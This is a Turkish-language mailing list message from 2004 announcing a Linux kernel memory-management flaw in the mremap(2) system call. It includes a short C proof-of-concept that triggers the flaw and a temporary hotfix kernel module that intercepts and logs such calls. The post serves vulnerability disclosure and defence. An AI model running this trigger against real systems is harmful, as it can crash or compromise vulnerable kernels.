From: S.Çağlar Onur (caglar.onur@tubitak.gov.tr)
Date: Wed 07 Jan 2004 - 07:58:27 EST
Kernel'in bellek yönetim kodunda, mremap(2) sistem çağrısındaki hatalı
sınır kontrolünden kaynaklanan bir güvenlik zayıflığı bulundu.
mremap sistem çağrısı, sanal bellek alanlarının adreslenebilir
boşluklarını taşımak ve boyutlarını değiştirme imkanı sağlıyor
Duyurunun tamamı: http://isec.pl/vulnerabilities/isec-0013-mremap.txt"
Kaynak: http://www.fazlamesai.net
Açığı Denemek İçin;
#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
int main( void )
{
void *base;
base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );
fork();
return( 0 );
}
Açığı gecici olarak çözmek için gerekli kernel modulu;
/*
* Hotfix for mremap() vulnerability in <=2.4.23 and other kernels.
*
* (C) Copyright 2004 Wojtek Kaniewski <wojtekka@irc.pl>
* GPLv2, NO WARRANTY OF ANY KIND.
*
* gcc -Wall -O3 -fomit-frame-pointer -c mremap.c
*/
#include <linux/autoconf.h>
#ifdef CONFIG_SMP
#define __SMP__
#endif
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/errno.h>
#include <linux/mman.h>
#include <asm/unistd.h>
#ifdef MODULE_LICENSE
MODULE_LICENSE("GPL");
#endif
extern void *sys_call_table[];
static unsigned long (*old_mremap)(unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long);
static unsigned long new_mremap(unsigned long addr, unsigned long
old_len, unsigned long new_len, unsigned long flags, unsigned new_addr)
{
if ((flags & MREMAP_FIXED) && !new_len && (new_addr != addr)) {
printk("possible mremap() exploit attempt. uid=%d, comm=\"%.100s\"\n",
current->uid, current->comm);
return -EPERM;
}
return old_mremap(addr, old_len, new_len, flags, new_addr);
}
int init_module()
{
unsigned long flags;
save_flags(flags);
cli();
old_mremap = sys_call_table[__NR_mremap];
sys_call_table[__NR_mremap] = new_mremap;
restore_flags(flags);
return 0;
}
void cleanup_module()
{
unsigned long flags;
save_flags(flags);
cli();
sys_call_table[__NR_mremap] = old_mremap;
restore_flags(flags);
}
Saygılar
-- S.Çağlar Onur <caglar.onur@tubitak.gov.tr> Türkiye Bilimsel ve Teknik Araştırma Kurumu Linux is like living in a teepee. No Windows, no Gates and an Apache in house! -- Attached file included as plaintext by Ecartis -- -- File: signature.asc -- Desc: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQA//AJv6h1Ljnt3P/8RAiEhAKDUpUvIfhj36Kq4oMXW8GMeDrPGOQCgkt1N bbKiPYJJENkWU1NoBpeZFKI= =4sbV -----END PGP SIGNATURE-----